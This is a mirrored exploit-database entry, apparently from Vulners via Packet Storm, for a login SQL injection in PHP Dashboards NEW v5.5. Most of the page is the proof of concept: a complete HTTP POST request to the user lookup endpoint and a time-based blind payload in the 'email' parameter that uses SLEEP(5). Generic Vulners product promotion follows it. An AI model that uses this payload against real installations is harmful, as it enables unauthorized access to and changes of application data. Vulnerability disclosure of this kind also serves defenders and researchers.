Lucene search
K

PHP Dashboards NEW 5.5 SQL Injection

🗓️ 31 May 2018 00:00:00Reported by Kagan CaparType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 28 Views

PHP Dashboards NEW v5.5 SQL Injectio

Code
`# Exploit Title: PHP Dashboards NEW v5.5 - 'Login' SQL Injection  
# Dork: N/A  
# Date: 31.05.2018  
# Exploit Author: Kagan Capar  
# Contact: [email protected]  
# Vendor Homepage: https://codecanyon.net/item/php-dashboards-v50-brand-new-enterprise-edition/21540104  
  
# Version: 5.5  
# Category: Webapps  
# Tested on: Kali linux  
# Description : PHP Dashboards is prone to an SQL-injection vulnerability  
# because it fails to sufficiently sanitize user-supplied data before using  
# it in an SQL query.Exploiting this issue could allow an attacker to  
# compromise the application, access or modify data, or exploit latent  
# vulnerabilities in the underlying database.  
====================================================  
  
# PoC : SQLi :  
  
  
POST /php/save/user.php?mode=lookup HTTP/1.1  
Host: site.com  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101  
Firefox/52.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://site.com/  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 52  
Cookie: PHPSESSID=phcubu5ohtdjnd6g1bmsncro87  
Connection: keep-alive  
email=test%40test.com&password=test123&dashboardKey=  
  
Parameter: email (POST)  
  
Type: AND/OR time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind  
Payload: [email protected]' AND SLEEP(5) AND  
'XnxG'='XnxG&password=test123&dashboardKey=  
  
  
====================================================  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation